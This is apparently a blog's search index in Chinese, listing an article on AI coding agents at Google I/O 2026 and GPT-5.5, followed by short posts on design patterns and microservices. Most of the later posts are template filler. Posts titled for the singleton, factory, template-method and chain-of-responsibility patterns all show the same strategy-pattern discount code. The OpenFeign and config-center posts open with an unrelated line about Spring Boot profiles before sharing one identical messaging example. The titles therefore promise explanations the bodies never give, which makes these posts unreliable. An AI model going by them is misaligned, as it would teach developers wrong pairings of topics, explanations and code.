<?xml version="1.0" encoding="utf-8"?>
<search> 
  
  
    
    <entry>
      <title>AI代理开发时代到来：Google I/O 2026 与 GPT-5.5 趋势观察</title>
      <link href="/2026/05/20/ai-dai-li-kai-fa-shi-dai-dao-lai-google-i-o-2026-yu-gpt-5-5-qu-shi-guan-cha/"/>
      <url>/2026/05/20/ai-dai-li-kai-fa-shi-dai-dao-lai-google-i-o-2026-yu-gpt-5-5-qu-shi-guan-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="AI代理开发时代到来：Google-I-O-2026-与-GPT-5-5-趋势观察"><a href="#AI代理开发时代到来：Google-I-O-2026-与-GPT-5-5-趋势观察" class="headerlink" title="AI代理开发时代到来：Google I/O 2026 与 GPT-5.5 趋势观察"></a>AI代理开发时代到来：Google I/O 2026 与 GPT-5.5 趋势观察</h1><p>2026 年 5 月的技术主线非常清晰：AI 不再只是回答问题、生成片段代码，正在变成可以理解目标、调用工具、验证结果并持续推进任务的“工作流代理”。这次 Google I/O 2026 的开发者主题，以及 OpenAI GPT-5.5 的发布，都把同一个趋势推到了台前：未来的软件开发，不只是“人写代码，AI 辅助”，而是“人定义目标，AI 参与执行”。</p><p>AI代理开发时代到来：Google I/O 2026 与 GPT-5.5 趋势观察是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="一、Google-I-O-2026：开发工具进入-Agent-first-阶段"><a href="#一、Google-I-O-2026：开发工具进入-Agent-first-阶段" class="headerlink" title="一、Google I/O 2026：开发工具进入 Agent-first 阶段"></a>一、Google I/O 2026：开发工具进入 Agent-first 阶段</h2><p>Google 在 I/O 2026 汇总页中提到，本次大会发布了 Gemini Omni、Gemini 3.5，并强调 Gemini 3.5 Flash 结合了前沿智能与行动能力。同时，Google 将 Antigravity 定位为“agent-first development platform”，说明开发平台的重点已经从简单补全代码转向让代理完成更完整的开发任务。</p><p>在 Google Developers Blog 的开发者主题回顾中，几个更新尤其值得关注：</p><ul><li><strong>Antigravity 2.0 与 Antigravity CLI</strong>：用于编排多个专用子代理，处理复杂工作流，并加入终端沙箱、凭据隐藏、Git 策略等安全约束。</li><li><strong>Google AI Studio 集成增强</strong>：支持 Android 原生 Kotlin 方向的应用生成，并与 Workspace、Cloud Run、Firebase 等服务衔接。</li><li><strong>Gemini API Managed Agents</strong>：通过一次 API 调用获得带远程沙箱的托管代理，降低开发者自建代理运行环境的门槛。</li><li><strong>Chrome DevTools for agents</strong>：把浏览器调试、审计、真实用户体验模拟等能力交给 AI 代理调用。</li><li><strong>Modern Web Guidance</strong>：给编码代理提供经过专家校验的 Web 性能、可访问性和安全实践。</li></ul><p>这些更新背后的逻辑很一致：让 AI 代理有工具、有边界、有反馈、有验证能力。过去的 AI 编程助手主要负责“写”，现在的新方向是负责“做完并证明做对了”。</p><h2 id="二、GPT-5-5：从模型能力走向长任务执行"><a href="#二、GPT-5-5：从模型能力走向长任务执行" class="headerlink" title="二、GPT-5.5：从模型能力走向长任务执行"></a>二、GPT-5.5：从模型能力走向长任务执行</h2><p>OpenAI 在 2026 年 4 月发布 GPT-5.5 时，重点强调的也不是单点问答能力，而是面向真实工作的执行能力。官方介绍中提到，GPT-5.5 擅长写代码、调试、在线研究、数据分析、创建文档和表格、操作软件，并能在多工具之间推进任务。</p><p>对开发者来说，这个变化比单纯的 benchmark 分数更重要。因为真实工程任务往往不是一道算法题，而是包含下面这些环节：</p><ul><li>读懂需求和现有代码</li><li>定位相关模块</li><li>修改实现</li><li>运行测试和构建</li><li>根据失败信息迭代</li><li>解释风险和变更范围</li><li>产出可审核的提交</li></ul><p>这类长链路任务最考验模型的上下文保持、工具使用、错误恢复和自检能力。GPT-5.5 官方材料提到它在 agentic coding、computer use、knowledge work 等方向提升明显，这正对应了开发流程中最费时间的部分。</p><h2 id="三、开发者应该关注的三类机会"><a href="#三、开发者应该关注的三类机会" class="headerlink" title="三、开发者应该关注的三类机会"></a>三、开发者应该关注的三类机会</h2><h3 id="1-把-AI-接入真实工程环境"><a href="#1-把-AI-接入真实工程环境" class="headerlink" title="1. 把 AI 接入真实工程环境"></a>1. 把 AI 接入真实工程环境</h3><p>只把 AI 当聊天窗口使用，收益会越来越有限。更值得做的是把 AI 接入项目的上下文中，例如：</p><ul><li>代码仓库</li><li>测试命令</li><li>文档目录</li><li>CI 结果</li><li>浏览器调试工具</li><li>数据库 schema</li><li>内部接口说明</li></ul><p>当 AI 能读取真实上下文并调用工具，才可能从“建议者”升级为“执行者”。</p><h3 id="2-为-AI-代理设计清晰边界"><a href="#2-为-AI-代理设计清晰边界" class="headerlink" title="2. 为 AI 代理设计清晰边界"></a>2. 为 AI 代理设计清晰边界</h3><p>代理能力越强，边界越重要。Google 在开发者工具中反复强调沙箱、凭据保护、Git 策略，本质上是在解决一个核心问题：让 AI 能做事，但不能失控。</p><p>团队可以从这些简单规则开始：</p><ul><li>生产密钥不进入代理上下文</li><li>高风险命令需要人工确认</li><li>每次改动必须有 diff 可审查</li><li>自动化任务必须限定目录和权限</li><li>代理生成的代码必须跑测试</li></ul><p>AI Agent 的成熟，不只依赖模型变强，也依赖工程治理变细。</p><h3 id="3-重构个人和团队工作流"><a href="#3-重构个人和团队工作流" class="headerlink" title="3. 重构个人和团队工作流"></a>3. 重构个人和团队工作流</h3><p>未来更稀缺的能力不是“会不会问 AI”，而是能否把任务拆成 AI 可以稳定执行的小闭环。例如：</p><ul><li>让 AI 先扫描错误日志并给出候选原因</li><li>让 AI 为一个模块补充测试</li><li>让 AI 迁移旧 API，并生成兼容性说明</li><li>让 AI 每天整理技术资讯，形成可发布文章</li><li>让 AI 在发布前检查链接、构建和页面渲染</li></ul><p>这些任务都不需要一次性完全自动化。可以先让 AI 做草稿、人审核，再逐步扩大自动化范围。</p><h2 id="四、对普通开发者的影响"><a href="#四、对普通开发者的影响" class="headerlink" title="四、对普通开发者的影响"></a>四、对普通开发者的影响</h2><p>AI 编程工具的重心正在从“提高输入速度”变成“压缩反馈周期”。以前我们写代码、跑测试、查文档、看浏览器、改 bug 是几个分散动作；现在 AI 代理开始把这些动作串起来。</p><p>这会带来三点变化：</p><ul><li><strong>初级重复任务会被快速自动化</strong>：脚手架、CRUD、迁移、测试补全会越来越便宜。</li><li><strong>系统理解能力更值钱</strong>：能定义正确目标、判断架构取舍、识别风险的人会更重要。</li><li><strong>工程规范会成为 AI 的放大器</strong>：测试完善、文档清楚、模块边界稳定的项目，更容易从 AI 代理中获得收益。</li></ul><p>换句话说，AI 不会让工程纪律变得不重要，反而会让好工程习惯的收益更高。</p><h2 id="五、结论"><a href="#五、结论" class="headerlink" title="五、结论"></a>五、结论</h2><p>Google I/O 2026 和 GPT-5.5 的共同信号是：AI Agent 正在进入开发者日常。它不再只是一个更聪明的补全工具，而是在逐步变成能规划、执行、验证和交付的工作伙伴。</p><p>对个人开发者来说，现在最值得做的不是追逐每一个新模型，而是开始整理自己的工作流：哪些事情可以交给 AI 先做，哪些环节必须人工审核，哪些项目规范可以让 AI 做得更稳。</p><p>当工具开始具备行动能力，真正的竞争力会从“写得快”转向“判断准、边界清、交付稳”。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li><a href="https://blog.google/innovation-and-ai/technology/developers-tools/google-io-2026-collection/">Google I/O 2026: News and announcements</a></li><li><a href="https://developers.googleblog.com/en/all-the-news-from-the-google-io-2026-developer-keynote/">All the news from the Google I/O 2026 Developer keynote</a></li><li><a href="https://openai.com/index/introducing-gpt-5-5/">Introducing GPT-5.5</a></li></ul>]]></content>
      
      
      <categories>
          
          <category> 技术资讯 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> AI </tag>
            
            <tag> 技术资讯 </tag>
            
            <tag> 开发者工具 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>责任链模式在审批和过滤器中的应用</title>
      <link href="//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/"/>
      <url>//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="责任链模式在审批和过滤器中的应用"><a href="#责任链模式在审批和过滤器中的应用" class="headerlink" title="责任链模式在审批和过滤器中的应用"></a>责任链模式在审批和过滤器中的应用</h1><p>责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>模板方法模式适合流程固定的业务</title>
      <link href="//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/"/>
      <url>//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="模板方法模式适合流程固定的业务"><a href="#模板方法模式适合流程固定的业务" class="headerlink" title="模板方法模式适合流程固定的业务"></a>模板方法模式适合流程固定的业务</h1><p>模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>策略模式替代大量 if else</title>
      <link href="//ce-lue-mo-shi-ti-dai-da-liang-if-else/"/>
      <url>//ce-lue-mo-shi-ti-dai-da-liang-if-else/</url>
      
        <content type="html"><![CDATA[<h1 id="策略模式替代大量-if-else"><a href="#策略模式替代大量-if-else" class="headerlink" title="策略模式替代大量 if else"></a>策略模式替代大量 if else</h1><p>策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>工厂模式如何降低创建复杂度</title>
      <link href="//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/"/>
      <url>//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/</url>
      
        <content type="html"><![CDATA[<h1 id="工厂模式如何降低创建复杂度"><a href="#工厂模式如何降低创建复杂度" class="headerlink" title="工厂模式如何降低创建复杂度"></a>工厂模式如何降低创建复杂度</h1><p>工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>单例模式的线程安全写法</title>
      <link href="//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/"/>
      <url>//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="单例模式的线程安全写法"><a href="#单例模式的线程安全写法" class="headerlink" title="单例模式的线程安全写法"></a>单例模式的线程安全写法</h1><p>单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口版本管理和灰度发布思路</title>
      <link href="//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/"/>
      <url>//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="接口版本管理和灰度发布思路"><a href="#接口版本管理和灰度发布思路" class="headerlink" title="接口版本管理和灰度发布思路"></a>接口版本管理和灰度发布思路</h1><p>接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>OpenFeign 调用超时和重试配置</title>
      <link href="//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/"/>
      <url>//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="OpenFeign-调用超时和重试配置"><a href="#OpenFeign-调用超时和重试配置" class="headerlink" title="OpenFeign 调用超时和重试配置"></a>OpenFeign 调用超时和重试配置</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>网关在微服务里承担什么职责</title>
      <link href="//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/"/>
      <url>//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="网关在微服务里承担什么职责"><a href="#网关在微服务里承担什么职责" class="headerlink" title="网关在微服务里承担什么职责"></a>网关在微服务里承担什么职责</h1><p>API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>服务注册发现的基本流程</title>
      <link href="//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/"/>
      <url>//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="服务注册发现的基本流程"><a href="#服务注册发现的基本流程" class="headerlink" title="服务注册发现的基本流程"></a>服务注册发现的基本流程</h1><p>服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置中心解决了什么问题</title>
      <link href="//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/"/>
      <url>//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="配置中心解决了什么问题"><a href="#配置中心解决了什么问题" class="headerlink" title="配置中心解决了什么问题"></a>配置中心解决了什么问题</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>限流、熔断、降级：高可用架构的三大利器</title>
